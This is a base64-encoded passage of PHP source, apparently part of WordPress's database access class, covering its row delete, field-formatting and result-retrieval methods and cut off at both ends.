NbXSA9ICR2YWx1ZVsndmFsdWUnXTsKCQl9CgoJCSRmaWVsZHMgPSBpbXBsb2RlKCAnLCAnLCAkZmllbGRzICk7CgkJJGNvbmRpdGlvbnMgPSBpbXBsb2RlKCAnIEFORCAnLCAkY29uZGl0aW9ucyApOwoKCQkkc3FsID0gIlVQREFURSBgJHRhYmxlYCBTRVQgJGZpZWxkcyBXSEVSRSAkY29uZGl0aW9ucyI7CgoJCSR0aGlzLT5jaGVja19jdXJyZW50X3F1ZXJ5ID0gZmFsc2U7CgkJcmV0dXJuICR0aGlzLT5xdWVyeSggJHRoaXMtPnByZXBhcmUoICRzcWwsICR2YWx1ZXMgKSApOwoJfQoKCS8qKgoJICogRGVsZXRlIGEgcm93IGluIHRoZSB0YWJsZQoJICoKCSAqICAgICB3cGRiOjpkZWxldGUoICd0YWJsZScsIGFycmF5KCAnSUQnID0+IDEgKSApCgkgKiAgICAgd3BkYjo6ZGVsZXRlKCAndGFibGUnLCBhcnJheSggJ0lEJyA9PiAxICksIGFycmF5KCAnJWQnICkgKQoJICoKCSAqIEBzaW5jZSAzLjQuMAoJICogQHNlZSB3cGRiOjpwcmVwYXJlKCkKCSAqIEBzZWUgd3BkYjo6JGZpZWxkX3R5cGVzCgkgKiBAc2VlIHdwX3NldF93cGRiX3ZhcnMoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgICAgICAgJHRhYmxlICAgICAgICBUYWJsZSBuYW1lCgkgKiBAcGFyYW0gYXJyYXkgICAgICAgICR3aGVyZSAgICAgICAgQSBuYW1lZCBhcnJheSBvZiBXSEVSRSBjbGF1c2VzIChpbiBjb2x1bW4gPT4gdmFsdWUgcGFpcnMpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE11bHRpcGxlIGNsYXVzZXMgd2lsbCBiZSBqb2luZWQgd2l0aCBBTkRzLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJvdGggJHdoZXJlIGNvbHVtbnMgYW5kICR3aGVyZSB2YWx1ZXMgc2hvdWxkIGJlICJyYXciLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNlbmRpbmcgYSBudWxsIHZhbHVlIHdpbGwgY3JlYXRlIGFuIElTIE5VTEwgY29tcGFyaXNvbiAtIHRoZSBjb3JyZXNwb25kaW5nIGZvcm1hdCB3aWxsIGJlIGlnbm9yZWQgaW4gdGhpcyBjYXNlLgoJICogQHBhcmFtIGFycmF5fHN0cmluZyAkd2hlcmVfZm9ybWF0IE9wdGlvbmFsLiBBbiBhcnJheSBvZiBmb3JtYXRzIHRvIGJlIG1hcHBlZCB0byBlYWNoIG9mIHRoZSB2YWx1ZXMgaW4gJHdoZXJlLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElmIHN0cmluZywgdGhhdCBmb3JtYXQgd2lsbCBiZSB1c2VkIGZvciBhbGwgb2YgdGhlIGl0ZW1zIGluICR3aGVyZS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBIGZvcm1hdCBpcyBvbmUgb2YgJyVkJywgJyVmJywgJyVzJyAoaW50ZWdlciwgZmxvYXQsIHN0cmluZykuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYgb21pdHRlZCwgYWxsIHZhbHVlcyBpbiAkd2hlcmUgd2lsbCBiZSB0cmVhdGVkIGFzIHN0cmluZ3MgdW5sZXNzIG90aGVyd2lzZSBzcGVjaWZpZWQgaW4gd3BkYjo6JGZpZWxkX3R5cGVzLgoJICogQHJldHVybiBpbnR8ZmFsc2UgVGhlIG51bWJlciBvZiByb3dzIHVwZGF0ZWQsIG9yIGZhbHNlIG9uIGVycm9yLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZGVsZXRlKCAkdGFibGUsICR3aGVyZSwgJHdoZXJlX2Zvcm1hdCA9IG51bGwgKSB7CgkJaWYgKCAhIGlzX2FycmF5KCAkd2hlcmUgKSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJJHdoZXJlID0gJHRoaXMtPnByb2Nlc3NfZmllbGRzKCAkdGFibGUsICR3aGVyZSwgJHdoZXJlX2Zvcm1hdCApOwoJCWlmICggZmFsc2UgPT09ICR3aGVyZSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJJGNvbmRpdGlvbnMgPSAkdmFsdWVzID0gYXJyYXkoKTsKCQlmb3JlYWNoICggJHdoZXJlIGFzICRmaWVsZCA9PiAkdmFsdWUgKSB7CgkJCWlmICggaXNfbnVsbCggJHZhbHVlWyd2YWx1ZSddICkgKSB7CgkJCQkkY29uZGl0aW9uc1tdID0gImAkZmllbGRgIElTIE5VTEwiOwoJCQkJY29udGludWU7CgkJCX0KCgkJCSRjb25kaXRpb25zW10gPSAiYCRmaWVsZGAgPSAiIC4gJHZhbHVlWydmb3JtYXQnXTsKCQkJJHZhbHVlc1tdID0gJHZhbHVlWyd2YWx1ZSddOwoJCX0KCgkJJGNvbmRpdGlvbnMgPSBpbXBsb2RlKCAnIEFORCAnLCAkY29uZGl0aW9ucyApOwoKCQkkc3FsID0gIkRFTEVURSBGUk9NIGAkdGFibGVgIFdIRVJFICRjb25kaXRpb25zIjsKCgkJJHRoaXMtPmNoZWNrX2N1cnJlbnRfcXVlcnkgPSBmYWxzZTsKCQlyZXR1cm4gJHRoaXMtPnF1ZXJ5KCAkdGhpcy0+cHJlcGFyZSggJHNxbCwgJHZhbHVlcyApICk7Cgl9CgoJLyoqCgkgKiBQcm9jZXNzZXMgYXJyYXlzIG9mIGZpZWxkL3ZhbHVlIHBhaXJzIGFuZCBmaWVsZCBmb3JtYXRzLgoJICoKCSAqIFRoaXMgaXMgYSBoZWxwZXIgbWV0aG9kIGZvciB3cGRiJ3MgQ1JVRCBtZXRob2RzLCB3aGljaCB0YWtlIGZpZWxkL3ZhbHVlCgkgKiBwYWlycyBmb3IgaW5zZXJ0cywgdXBkYXRlcywgYW5kIHdoZXJlIGNsYXVzZXMuIFRoaXMgbWV0aG9kIGZpcnN0IHBhaXJzCgkgKiBlYWNoIHZhbHVlIHdpdGggYSBmb3JtYXQuIFRoZW4gaXQgZGV0ZXJtaW5lcyB0aGUgY2hhcnNldCBvZiB0aGF0IGZpZWxkLAoJICogdXNpbmcgdGhhdCB0byBkZXRlcm1pbmUgaWYgYW55IGludmFsaWQgdGV4dCB3b3VsZCBiZSBzdHJpcHBlZC4gSWYgdGV4dCBpcwoJICogc3RyaXBwZWQsIHRoZW4gZmllbGQgcHJvY2Vzc2luZyBpcyByZWplY3RlZCBhbmQgdGhlIHF1ZXJ5IGZhaWxzLgoJICoKCSAqIEBzaW5jZSA0LjIuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR0YWJsZSAgVGFibGUgbmFtZS4KCSAqIEBwYXJhbSBhcnJheSAgJGRhdGEgICBGaWVsZC92YWx1ZSBwYWlyLgoJICogQHBhcmFtIG1peGVkICAkZm9ybWF0IEZvcm1hdCBmb3IgZWFjaCBmaWVsZC4KCSAqIEByZXR1cm4gYXJyYXl8ZmFsc2UgUmV0dXJucyBhbiBhcnJheSBvZiBmaWVsZHMgdGhhdCBjb250YWluIHBhaXJlZCB2YWx1ZXMKCSAqICAgICAgICAgICAgICAgICAgICBhbmQgZm9ybWF0cy4gUmV0dXJucyBmYWxzZSBmb3IgaW52YWxpZCB2YWx1ZXMuCgkgKi8KCXByb3RlY3RlZCBmdW5jdGlvbiBwcm9jZXNzX2ZpZWxkcyggJHRhYmxlLCAkZGF0YSwgJGZvcm1hdCApIHsKCQkkZGF0YSA9ICR0aGlzLT5wcm9jZXNzX2ZpZWxkX2Zvcm1hdHMoICRkYXRhLCAkZm9ybWF0ICk7CgkJaWYgKCBmYWxzZSA9PT0gJGRhdGEgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRkYXRhID0gJHRoaXMtPnByb2Nlc3NfZmllbGRfY2hhcnNldHMoICRkYXRhLCAkdGFibGUgKTsKCQlpZiAoIGZhbHNlID09PSAkZGF0YSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJJGRhdGEgPSAkdGhpcy0+cHJvY2Vzc19maWVsZF9sZW5ndGhzKCAkZGF0YSwgJHRhYmxlICk7CgkJaWYgKCBmYWxzZSA9PT0gJGRhdGEgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRjb252ZXJ0ZWRfZGF0YSA9ICR0aGlzLT5zdHJpcF9pbnZhbGlkX3RleHQoICRkYXRhICk7CgoJCWlmICggJGRhdGEgIT09ICRjb252ZXJ0ZWRfZGF0YSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJcmV0dXJuICRkYXRhOwoJfQoKCS8qKgoJICogUHJlcGFyZXMgYXJyYXlzIG9mIHZhbHVlL2Zvcm1hdCBwYWlycyBhcyBwYXNzZWQgdG8gd3BkYiBDUlVEIG1ldGhvZHMuCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICoKCSAqIEBwYXJhbSBhcnJheSAkZGF0YSAgIEFycmF5IG9mIGZpZWxkcyB0byB2YWx1ZXMuCgkgKiBAcGFyYW0gbWl4ZWQgJGZvcm1hdCBGb3JtYXRzIHRvIGJlIG1hcHBlZCB0byB0aGUgdmFsdWVzIGluICRkYXRhLgoJICogQHJldHVybiBhcnJheSBBcnJheSwga2V5ZWQgYnkgZmllbGQgbmFtZXMgd2l0aCB2YWx1ZXMgYmVpbmcgYW4gYXJyYXkKCSAqICAgICAgICAgICAgICAgb2YgJ3ZhbHVlJyBhbmQgJ2Zvcm1hdCcga2V5cy4KCSAqLwoJcHJvdGVjdGVkIGZ1bmN0aW9uIHByb2Nlc3NfZmllbGRfZm9ybWF0cyggJGRhdGEsICRmb3JtYXQgKSB7CgkJJGZvcm1hdHMgPSAkb3JpZ2luYWxfZm9ybWF0cyA9IChhcnJheSkgJGZvcm1hdDsKCgkJZm9yZWFjaCAoICRkYXRhIGFzICRmaWVsZCA9PiAkdmFsdWUgKSB7CgkJCSR2YWx1ZSA9IGFycmF5KAoJCQkJJ3ZhbHVlJyAgPT4gJHZhbHVlLAoJCQkJJ2Zvcm1hdCcgPT4gJyVzJywKCQkJKTsKCgkJCWlmICggISBlbXB0eSggJGZvcm1hdCApICkgewoJCQkJJHZhbHVlWydmb3JtYXQnXSA9IGFycmF5X3NoaWZ0KCAkZm9ybWF0cyApOwoJCQkJaWYgKCAhICR2YWx1ZVsnZm9ybWF0J10gKSB7CgkJCQkJJHZhbHVlWydmb3JtYXQnXSA9IHJlc2V0KCAkb3JpZ2luYWxfZm9ybWF0cyApOwoJCQkJfQoJCQl9IGVsc2VpZiAoIGlzc2V0KCAkdGhpcy0+ZmllbGRfdHlwZXNbICRmaWVsZCBdICkgKSB7CgkJCQkkdmFsdWVbJ2Zvcm1hdCddID0gJHRoaXMtPmZpZWxkX3R5cGVzWyAkZmllbGQgXTsKCQkJfQoKCQkJJGRhdGFbICRmaWVsZCBdID0gJHZhbHVlOwoJCX0KCgkJcmV0dXJuICRkYXRhOwoJfQoKCS8qKgoJICogQWRkcyBmaWVsZCBjaGFyc2V0cyB0byBmaWVsZC92YWx1ZS9mb3JtYXQgYXJyYXlzIGdlbmVyYXRlZCBieQoJICogdGhlIHdwZGI6OnByb2Nlc3NfZmllbGRfZm9ybWF0cygpIG1ldGhvZC4KCSAqCgkgKiBAc2luY2UgNC4yLjAKCSAqIEBhY2Nlc3MgcHJvdGVjdGVkCgkgKgoJICogQHBhcmFtIGFycmF5ICAkZGF0YSAgQXMgaXQgY29tZXMgZnJvbSB0aGUgd3BkYjo6cHJvY2Vzc19maWVsZF9mb3JtYXRzKCkgbWV0aG9kLgoJICogQHBhcmFtIHN0cmluZyAkdGFibGUgVGFibGUgbmFtZS4KCSAqIEByZXR1cm4gYXJyYXl8ZmFsc2UgVGhlIHNhbWUgYXJyYXkgYXMgJGRhdGEgd2l0aCBhZGRpdGlvbmFsICdjaGFyc2V0JyBrZXlzLgoJICovCglwcm90ZWN0ZWQgZnVuY3Rpb24gcHJvY2Vzc19maWVsZF9jaGFyc2V0cyggJGRhdGEsICR0YWJsZSApIHsKCQlmb3JlYWNoICggJGRhdGEgYXMgJGZpZWxkID0+ICR2YWx1ZSApIHsKCQkJaWYgKCAnJWQnID09PSAkdmFsdWVbJ2Zvcm1hdCddIHx8ICclZicgPT09ICR2YWx1ZVsnZm9ybWF0J10gKSB7CgkJCQkvKgoJCQkJICogV2UgY2FuIHNraXAgdGhpcyBmaWVsZCBpZiB3ZSBrbm93IGl0IGlzbid0IGEgc3RyaW5nLgoJCQkJICogVGhpcyBjaGVja3MgJWQvJWYgdmVyc3VzICEgJXMgYmVjYXVzZSBpdHMgc3ByaW50ZigpIGNvdWxkIHRha2UgbW9yZS4KCQkJCSAqLwoJCQkJJHZhbHVlWydjaGFyc2V0J10gPSBmYWxzZTsKCQkJfSBlbHNlIHsKCQkJCSR2YWx1ZVsnY2hhcnNldCddID0gJHRoaXMtPmdldF9jb2xfY2hhcnNldCggJHRhYmxlLCAkZmllbGQgKTsKCQkJCWlmICggaXNfd3BfZXJyb3IoICR2YWx1ZVsnY2hhcnNldCddICkgKSB7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgoJCQkkZGF0YVsgJGZpZWxkIF0gPSAkdmFsdWU7CgkJfQoKCQlyZXR1cm4gJGRhdGE7Cgl9CgoJLyoqCgkgKiBGb3Igc3RyaW5nIGZpZWxkcywgcmVjb3JkIHRoZSBtYXhpbXVtIHN0cmluZyBsZW5ndGggdGhhdCBmaWVsZCBjYW4gc2FmZWx5IHNhdmUuCgkgKgoJICogQHNpbmNlIDQuMi4xCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICoKCSAqIEBwYXJhbSBhcnJheSAgJGRhdGEgIEFzIGl0IGNvbWVzIGZyb20gdGhlIHdwZGI6OnByb2Nlc3NfZmllbGRfY2hhcnNldHMoKSBtZXRob2QuCgkgKiBAcGFyYW0gc3RyaW5nICR0YWJsZSBUYWJsZSBuYW1lLgoJICogQHJldHVybiBhcnJheXxmYWxzZSBUaGUgc2FtZSBhcnJheSBhcyAkZGF0YSB3aXRoIGFkZGl0aW9uYWwgJ2xlbmd0aCcga2V5cywgb3IgZmFsc2UgaWYKCSAqICAgICAgICAgICAgICAgICAgICAgYW55IG9mIHRoZSB2YWx1ZXMgd2VyZSB0b28gbG9uZyBmb3IgdGhlaXIgY29ycmVzcG9uZGluZyBmaWVsZC4KCSAqLwoJcHJvdGVjdGVkIGZ1bmN0aW9uIHByb2Nlc3NfZmllbGRfbGVuZ3RocyggJGRhdGEsICR0YWJsZSApIHsKCQlmb3JlYWNoICggJGRhdGEgYXMgJGZpZWxkID0+ICR2YWx1ZSApIHsKCQkJaWYgKCAnJWQnID09PSAkdmFsdWVbJ2Zvcm1hdCddIHx8ICclZicgPT09ICR2YWx1ZVsnZm9ybWF0J10gKSB7CgkJCQkvKgoJCQkJICogV2UgY2FuIHNraXAgdGhpcyBmaWVsZCBpZiB3ZSBrbm93IGl0IGlzbid0IGEgc3RyaW5nLgoJCQkJICogVGhpcyBjaGVja3MgJWQvJWYgdmVyc3VzICEgJXMgYmVjYXVzZSBpdHMgc3ByaW50ZigpIGNvdWxkIHRha2UgbW9yZS4KCQkJCSAqLwoJCQkJJHZhbHVlWydsZW5ndGgnXSA9IGZhbHNlOwoJCQl9IGVsc2UgewoJCQkJJHZhbHVlWydsZW5ndGgnXSA9ICR0aGlzLT5nZXRfY29sX2xlbmd0aCggJHRhYmxlLCAkZmllbGQgKTsKCQkJCWlmICggaXNfd3BfZXJyb3IoICR2YWx1ZVsnbGVuZ3RoJ10gKSApIHsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0KCgkJCSRkYXRhWyAkZmllbGQgXSA9ICR2YWx1ZTsKCQl9CgoJCXJldHVybiAkZGF0YTsKCX0KCgkvKioKCSAqIFJldHJpZXZlIG9uZSB2YXJpYWJsZSBmcm9tIHRoZSBkYXRhYmFzZS4KCSAqCgkgKiBFeGVjdXRlcyBhIFNRTCBxdWVyeSBhbmQgcmV0dXJucyB0aGUgdmFsdWUgZnJvbSB0aGUgU1FMIHJlc3VsdC4KCSAqIElmIHRoZSBTUUwgcmVzdWx0IGNvbnRhaW5zIG1vcmUgdGhhbiBvbmUgY29sdW1uIGFuZC9vciBtb3JlIHRoYW4gb25lIHJvdywgdGhpcyBmdW5jdGlvbiByZXR1cm5zIHRoZSB2YWx1ZSBpbiB0aGUgY29sdW1uIGFuZCByb3cgc3BlY2lmaWVkLgoJICogSWYgJHF1ZXJ5IGlzIG51bGwsIHRoaXMgZnVuY3Rpb24gcmV0dXJucyB0aGUgdmFsdWUgaW4gdGhlIHNwZWNpZmllZCBjb2x1bW4gYW5kIHJvdyBmcm9tIHRoZSBwcmV2aW91cyBTUUwgcmVzdWx0LgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKgoJICogQHBhcmFtIHN0cmluZ3xudWxsICRxdWVyeSBPcHRpb25hbC4gU1FMIHF1ZXJ5LiBEZWZhdWx0cyB0byBudWxsLCB1c2UgdGhlIHJlc3VsdCBmcm9tIHRoZSBwcmV2aW91cyBxdWVyeS4KCSAqIEBwYXJhbSBpbnQgICAgICAgICAkeCAgICAgT3B0aW9uYWwuIENvbHVtbiBvZiB2YWx1ZSB0byByZXR1cm4uIEluZGV4ZWQgZnJvbSAwLgoJICogQHBhcmFtIGludCAgICAgICAgICR5ICAgICBPcHRpb25hbC4gUm93IG9mIHZhbHVlIHRvIHJldHVybi4gSW5kZXhlZCBmcm9tIDAuCgkgKiBAcmV0dXJuIHN0cmluZ3xudWxsIERhdGFiYXNlIHF1ZXJ5IHJlc3VsdCAoYXMgc3RyaW5nKSwgb3IgbnVsbCBvbiBmYWlsdXJlCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfdmFyKCAkcXVlcnkgPSBudWxsLCAkeCA9IDAsICR5ID0gMCApIHsKCQkkdGhpcy0+ZnVuY19jYWxsID0gIlwkZGItPmdldF92YXIoXCIkcXVlcnlcIiwgJHgsICR5KSI7CgoJCWlmICggJHRoaXMtPmNoZWNrX2N1cnJlbnRfcXVlcnkgJiYgJHRoaXMtPmNoZWNrX3NhZmVfY29sbGF0aW9uKCAkcXVlcnkgKSApIHsKCQkJJHRoaXMtPmNoZWNrX2N1cnJlbnRfcXVlcnkgPSBmYWxzZTsKCQl9CgoJCWlmICggJHF1ZXJ5ICkgewoJCQkkdGhpcy0+cXVlcnkoICRxdWVyeSApOwoJCX0KCgkJLy8gRXh0cmFjdCB2YXIgb3V0IG9mIGNhY2hlZCByZXN1bHRzIGJhc2VkIHgseSB2YWxzCgkJaWYgKCAhZW1wdHkoICR0aGlzLT5sYXN0X3Jlc3VsdFskeV0gKSApIHsKCQkJJHZhbHVlcyA9IGFycmF5X3ZhbHVlcyggZ2V0X29iamVjdF92YXJzKCAkdGhpcy0+bGFzdF9yZXN1bHRbJHldICkgKTsKCQl9CgoJCS8vIElmIHRoZXJlIGlzIGEgdmFsdWUgcmV0dXJuIGl0IGVsc2UgcmV0dXJuIG51bGwKCQlyZXR1cm4gKCBpc3NldCggJHZhbHVlc1skeF0gKSAmJiAkdmFsdWVzWyR4XSAhPT0gJycgKSA/ICR2YWx1ZXNbJHhdIDogbnVsbDsKCX0KCgkvKioKCSAqIFJldHJpZXZlIG9uZSByb3cgZnJvbSB0aGUgZGF0YWJhc2UuCgkgKgoJICogRXhlY3V0ZXMgYSBTUUwgcXVlcnkgYW5kIHJldHVybnMgdGhlIHJvdyBmcm9tIHRoZSBTUUwgcmVzdWx0LgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKgoJICogQHBhcmFtIHN0cmluZ3xudWxsICRxdWVyeSAgU1FMIHF1ZXJ5LgoJICogQHBhcmFtIHN0cmluZyAgICAgICRvdXRwdXQgT3B0aW9uYWwuIG9uZSBvZiBBUlJBWV9BIHwgQVJSQVlfTiB8IE9CSkVDVCBjb25zdGFudHMuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSZXR1cm4gYW4gYXNzb2NpYXRpdmUgYXJyYXkgKGNvbHVtbiA9PiB2YWx1ZSwgLi4uKSwKCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgIGEgbnVtZXJpY2FsbHkgaW5kZXhlZCBhcnJheSAoMCA9PiB2YWx1ZSwgLi4uKSBvcgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgYW4gb2JqZWN0ICggLT5jb2x1bW4gPSB2YWx1ZSApLCByZXNwZWN0aXZlbHkuCgkgKiBAcGFyYW0gaW50ICAgICAgICAgJHkgICAgICBPcHRpb25hbC4gUm93IHRvIHJldHVybi4gSW5kZXhlZCBmcm9tIDAuCgkgKiBAcmV0dXJuIGFycmF5fG9iamVjdHxudWxsfHZvaWQgRGF0YWJhc2UgcXVlcnkgcmVzdWx0IGluIGZvcm1hdCBzcGVjaWZpZWQgYnkgJG91dHB1dCBvciBudWxsIG9uIGZhaWx1cmUKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF9yb3coICRxdWVyeSA9IG51bGwsICRvdXRwdXQgPSBPQkpFQ1QsICR5ID0gMCApIHsKCQkkdGhpcy0+ZnVuY19jYWxsID0gIlwkZGItPmdldF9yb3coXCIkcXVlcnlcIiwkb3V0cHV0LCR5KSI7CgoJCWlmICggJHRoaXMtPmNoZWNrX2N1cnJlbnRfcXVlcnkgJiYgJHRoaXMtPmNoZWNrX3NhZmVfY29sbGF0aW9uKCAkcXVlcnkgKSApIHsKCQkJJHRoaXMtPmNoZWNrX2N1cnJlbnRfcXVlcnkgPSBmYWxzZTsKCQl9CgoJCWlmICggJHF1ZXJ5ICkgewoJCQkkdGhpcy0+cXVlcnkoICRxdWVyeSApOwoJCX0gZWxzZSB7CgkJCXJldHVybiBudWxsOwoJCX0KCgkJaWYgKCAhaXNzZXQoICR0aGlzLT5sYXN0X3Jlc3VsdFskeV0gKSApCgkJCXJldHVybiBudWxsOwoKCQlpZiAoICRvdXRwdXQgPT0gT0JKRUNUICkgewoJCQlyZXR1cm4gJHRoaXMtPmxhc3RfcmVzdWx0WyR5XSA/ICR0aGlzLT5sYXN0X3Jlc3VsdFskeV0gOiBudWxsOwoJCX0gZWxzZWlmICggJG91dHB1dCA9PSBBUlJBWV9BICkgewoJCQlyZXR1cm4gJHRoaXMtPmxhc3RfcmVzdWx0WyR5XSA/IGdldF9vYmplY3RfdmFycyggJHRoaXMtPmxhc3RfcmVzdWx0WyR5XSApIDogbnVsbDsKCQl9IGVsc2VpZiAoICRvdXRwdXQgPT0gQVJSQVlfTiApIHsKCQkJcmV0dXJuICR0aGlzLT5sYXN0X3Jlc3VsdFskeV0gPyBhcnJheV92YWx1ZXMoIGdldF9vYmplY3RfdmFycyggJHRoaXMtPmxhc3RfcmVzdWx0WyR5XSApICkgOiBudWxsOwoJCX0gZWxzZWlmICggc3RydG91cHBlciggJG91dHB1dCApID09PSBPQkpFQ1QgKSB7CgkJCS8vIEJhY2sgY29tcGF0IGZvciBPQkpFQ1QgYmVpbmcgcHJldmlvdXNseSBjYXNlIGluc2Vuc2l0aXZlLgoJCQlyZXR1cm4gJHRoaXMtPmxhc3RfcmVzdWx0WyR5XSA/ICR0aGlzLT5sYXN0X3Jlc3VsdFskeV0gOiBudWxsOwoJCX0gZWxzZSB7CgkJCSR0aGlzLT5wcmludF9lcnJvciggIiBcJGRiLT5nZXRfcm93KHN0cmluZyBxdWVyeSwgb3V0cHV0IHR5cGUsIGludCBvZmZzZXQpIC0tIE91dHB1dCB0eXBlIG11c3QgYmUgb25lIG9mOiBPQkpFQ1QsIEFSUkFZX0EsIEFSUkFZX04iICk7CgkJfQoJfQoKCS8qKgoJICogUmV0cmlldmUgb25lIGNvbHVtbiBmcm9tIHRoZSBkYXRhYmFzZS4KCSAqCgkgKiBFeGVjdXRlcyBhIFNRTCBxdWVyeSBhbmQgcmV0dXJucyB0aGUgY29sdW1uIGZyb20gdGhlIFNRTCByZXN1bHQuCgkgKiBJZiB0aGUgU1FMIHJlc3VsdCBjb250YWlucyBtb3JlIHRoYW4gb25lIGNvbHVtbiwgdGhpcyBmdW5jdGlvbiByZXR1cm5zIHRoZSBjb2x1bW4gc3BlY2lmaWVkLgoJICogSWYgJHF1ZXJ5IGlzIG51bGwsIHRoaXMgZnVuY3Rpb24gcmV0dXJucyB0aGUgc3BlY2lmaWVkIGNvbHVtbiBmcm9tIHRoZSBwcmV2aW91cyBTUUwgcmVzdWx0LgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKgoJICogQHBhcmFtIHN0cmluZ3xudWxsICRxdWVyeSBPcHRpb25hbC4gU1FMIHF1ZXJ5LiBEZWZhdWx0cyB0byBwcmV2aW91cyBxdWVyeS4KCSAqIEBwYXJhbSBpbnQgICAgICAgICAkeCAgICAgT3B0aW9uYWwuIENvbHVtbiB0byByZXR1cm4uIEluZGV4ZWQgZnJvbSAwLgoJICogQHJldHVybiBhcnJheSBEYXRhYmFzZSBxdWVyeSByZXN1bHQuIEFycmF5IGluZGV4ZWQgZnJvbSAwIGJ5IFNRTCByZXN1bHQgcm93IG51bWJlci4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF9jb2woICRxdWVyeSA9IG51bGwgLCAkeCA9IDAgKSB7CgkJaWYgKCAkdGhpcy0+Y2hlY2tfY3VycmVudF9xdWVyeSAmJiAkdGhpcy0+Y2hlY2tfc2FmZV9jb2xsYXRpb24oICRxdWVyeSApICkgewoJCQkkdGhpcy0+Y2hlY2tfY3VycmVudF9xdWVyeSA9IGZhbHNlOwoJCX0KCgkJaWYgKCAkcXVlcnkgKSB7CgkJCSR0aGlzLT5xdWVyeSggJHF1ZXJ5ICk7CgkJfQoKCQkkbmV3X2FycmF5ID0gYXJyYXkoKTsKCQkvLyBFeHRyYWN0IHRoZSBjb2x1bW4gdmFsdWVzCgkJZm9yICggJGkgPSAwLCAkaiA9IGNvdW50KCAkdGhpcy0+bGFzdF9yZXN1bHQgKTsgJGkgPCAkajsgJGkrKyApIHsKCQkJJG5ld19hcnJheVskaV0gPSAkdGhpcy0+Z2V0X3ZhciggbnVsbCwgJHgsICRpICk7CgkJfQoJCXJldHVybiAkbmV3X2FycmF5OwoJfQoKCS8qKgoJICogUmV0cmlldmUgYW4gZW50aXJlIFNRTCByZXN1bHQgc2V0IGZyb20gdGhlIGRhdGFiYXNlIChpLmUuLCBtYW55IHJvd3MpCgkgKgoJICogRXhlY3V0ZXMgYSBTUUwgcXVlcnkgYW5kIHJldHVybnMgdGhlIGVudGlyZSBTUUwgcmVzdWx0LgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKgoJICogQHBhcmFtIHN0cmluZyAkcXVlcnkgIFNRTCBxdWVyeS4KCSAqIEBwYXJhbSBzdHJpbmcgJG91dHB1dCBPcHRpb25hbC4gQW55IG9mIEFSUkFZX0EgfCBBUlJBWV9OIHwgT0JKRUNUIHwgT0JKRUNUX0sgY29uc3RhbnRzLgoJICogICAgICAgICAgICAgICAgICAgICAgIFdpdGggb25lIG9mIHRoZSBmaXJzdCB0aHJlZSwgcmV0dXJuIGFuIGFycmF5IG9mIHJvd3MgaW5kZXhlZCBmcm9tIDAgYnkgU1FMIHJlc3VsdCByb3cgbnVtYmVyLgoJICogICAgICAgICAgICAgICAgICAgICAgIEVhY2ggcm93IGlzIGFuIGFzc29jaWF0aXZlIGFycmF5IChjb2x1bW4gPT4gdmFsdWUsIC4uLiksIGEgbnVtZXJpY2FsbHkgaW5kZXhlZCBhcnJheSAoMCA9PiB2YWx1ZSwgLi4uKSwgb3IgYW4gb2JqZWN0LiAoIC0+Y29sdW1uID0gdmFsdWUgKSwgcmVzcGVjdGl2ZWx5LgoJICogICAgICAgICAgICAgICAgICAgICAgIFdpdGggT0JKRUNUX0ssIHJldHVybiBhbiBhc3NvY2lhdGl2ZSBhcnJheSBvZiByb3cgb2JqZWN0cyBrZXllZCBieSB0aGUgdmFsdWUgb2YgZWFjaCByb3cncyBmaXJzdCBjb2x1bW4ncyB2YWx1ZS4KCSAqICAgICAgICAgICAgICAgICAgICAgICBEdXBsaWNhdGUga2V5cyBhcmUgZGlzY2FyZGVkLgoJICogQHJldHVybiBhcnJheXxvYmplY3R8bnVsbCBEYXRhYmFzZSBxdWVyeSByZXN1bHRzCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfcmVzdWx0cyggJHF1ZXJ5ID0gbnVsbCwgJG91dHB1dCA9IE9CSkVDVCApIHsKCQkkdGhpcy0+ZnVuY19jYWxsID0gIlwkZGItPmdldF9yZXN1bHRzKFwiJHF1ZXJ5XCIsICRvdXRwdXQpIjsKCgkJaWYgKCAkdGhpcy0+Y2hlY2tfY3VycmVudF9xdWVyeSAmJiAkdGhpcy0+Y2hlY2tfc2FmZV9jb2xsYXRpb24oICRxdWVyeSApICkgewoJCQkkdGhpcy0+Y2hlY2tfY3VycmVudF9xdWVyeSA9IGZhbHNlOwoJCX0KCgkJaWYgKCAkcXVlcnkgKSB7CgkJCSR0aGlzLT5xdWVyeSggJHF1ZXJ5ICk7CgkJfSBlbHNlIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoKCQkkbmV3X2FycmF5ID0gYXJyYXkoKTsKCQlpZiAoICRvdXRwdXQgPT0gT0JKRUNUICkgewoJCQkvLyBSZXR1cm4gYW4gaW50ZWdlci1rZXllZCBhcnJ